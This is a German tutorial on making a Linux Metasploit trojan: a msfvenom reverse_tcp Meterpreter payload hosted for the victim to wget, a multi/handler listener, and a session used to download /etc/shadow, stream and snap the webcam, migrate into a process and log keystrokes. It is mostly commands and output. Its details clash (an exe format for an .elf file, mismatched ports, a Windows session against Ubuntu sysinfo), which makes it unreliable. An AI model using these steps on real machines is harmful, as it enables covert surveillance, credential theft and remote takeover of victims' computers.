Metasploit trojaner linux

Payload erstellen

• msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.81.1.91 LPORT=4444 -f exe > shell.elf
• cp shell.elf /var/www/html/

Payload auf den Opfer Rechner bringen und ausführen

• wget http://10.81.1.91/shell.elf

Konsole starten

• msfconsole

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing


       =[ metasploit v4.16.6-dev                          ]
+ -- --=[ 1682 exploits - 964 auxiliary - 297 post        ]
+ -- --=[ 498 payloads - 40 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

• msf > use exploit/multi/handler
• msf exploit(handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
• msf exploit(handler) > set LHOST 10.81.1.91

LHOST => 10.81.1.91

• msf exploit(handler) > set LPORT 6666

LPORT => 6666

Starten des exploits

• msf exploit(handler) > exploit

[*] Exploit running as background job 0. 

[*] Started reverse TCP handler on 10.81.1.91:6666

Anzeigen der Sessions

• msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                     Information              Connection
  --  ----                     -----------              ----------
  1   meterpreter x86/windows  shuttle\xinux @ SHUTTLE  10.81.1.91:4444 -> 10.81.70.36:50707 (10.81.70.36)

Wechseln in session

• msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...

Metapreter Datei Managment

pwd

• meterpreter > pwd

cd

• meterpreter > cd ..
• meterpreter > cd /etc

Download

• meterpreter > download shadow

upload

• meterpreter > cd /root
• meterpreter > upload /etc/hosts

Webcam

list

• meterpreter > webcam_list

1: Integrated Camera

Live stream

• meterpreter > webcam_stream

[*] Starting...
[*] Preparing player...
[*] Opening player at: XZLHwhtQ.html
[*] Streaming...

snap

• meterpreter > webcam_snap

[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /root/PDYSnlbK.jpeg

Starten einer Shell(Kein Shell Prompt)

• meterpreter > shell

Process 14779 created.
Channel 5 created.

• C:\Users\xinux\Downloads>

Beispiele Shell

• ifconfig
• route -n
• netstat -ltpn

Quit

• STRG+c

Keylogging

• meterpreter > ps | grep notepad

Prozess identifizieren

Filtering on 'notepad'

Process List
============

 PID   PPID  Name         Arch  Session  User           Path
 ---   ----  ----         ----  -------  ----           ----
 7480  4100  notepad.exe  x64   1        shuttle\xinux  C:\Windows\System32\notepad.exe

In den Prozess migrieren

• meterpreter > migrate 7480

[*] Migrating from 5700 to 7480...

[*] Migration completed successfully.

Scan start

• meterpreter > keyscan_start

Starting the keystroke sniffer ...

Scan dump

• meterpreter > keyscan_dump

Dumping captured keystrokes...

<UMSCHALT>Hallo <UMSCHALT>Xinux <AKUT><W>ie gehts

Sysinfo

• meterpreter > sysinfo

Computer     : gustavo.xinux.lan
OS           : Ubuntu 16.04 (Linux 4.4.0-97-generic)
Architecture : x64
Meterpreter  : x64/linux

Kill a Prozess

• meterpreter > pkill notepad

Filtering on 'notepad'
Killing: 3240